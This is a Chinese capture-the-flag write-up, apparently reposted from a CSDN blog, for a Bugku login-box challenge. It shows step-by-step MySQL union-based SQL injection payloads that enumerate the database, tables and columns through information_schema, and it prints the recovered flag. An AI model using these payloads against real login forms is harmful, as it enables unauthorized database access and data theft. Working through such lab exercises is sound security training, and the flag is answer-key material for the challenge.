bugku 这是一个神奇的登录框

步骤

1、打开题目链接,是一个登录界面,抓包后传数据进行尝试
2、尝试数据

  • 先尝试admin_name=1&admin_passwd=1&submit=GO+GO+GO 得到Try Again!

  • 尝试admin_name=1'&admin_passwd=1&submit=GO+GO+GO 仍然得到Try Again! ,说明 ’ 被过滤了

  • 尝试admin_name=1"&admin_passwd=1&submit=GO+GO+GO
    得到You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1"' at line 1 说明 应该用 " 分隔

  • 尝试admin_name=1"%23&admin_passwd=1&submit=GO+GO+GO 发现 没有报错了,说明,需要注释掉一些多余的东西来得到正确结果

3、判断回显位置

admin_name=1" union select 1%23&admin_passwd=1&submit=GO+GO+GO

得到The used SELECT statements have a different number of columns百度后知道是union前后的列数不相同

再改payload为
admin_name=1" union select 1,2%23&admin_passwd=1&submit=GO+GO+GO
得到在这里插入图片描述

发现回显位置在Login_name那里(不要被后面那句话迷惑了。。)

4、爆数据库名

admin_name=1" union select database(),2%23&admin_passwd=1&submit=GO+GO+GO

得到bugkusql1

5、爆表名

admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO

得到flag1

改limit 0,1为limt 1,1 得到whoami

6、爆字段

admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO

得到flag1

7、flag

admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO

得到ed6b28e684817d9efcaf802979e57aea

备注

  • 在admin_name或者admin_passwd 两处都可以进行爆破
  • 最初尝试admin_name=1" union select 1,2%23&admin_passwd=1&submit=GO+GO+GO时没有看出来回显在1处,导致,再次尝试admin_name=1" union select 1,database()%23&admin_passwd=1&submit=GO+GO+GO时发现没有回显
  • 用错误注入updatexml也可以得到数据库名,表名,字段名,但是 爆flag时,因为flag太长,导致无法全部回显

猜你喜欢

转载自blog.csdn.net/zyl_wjl_1413/article/details/84260951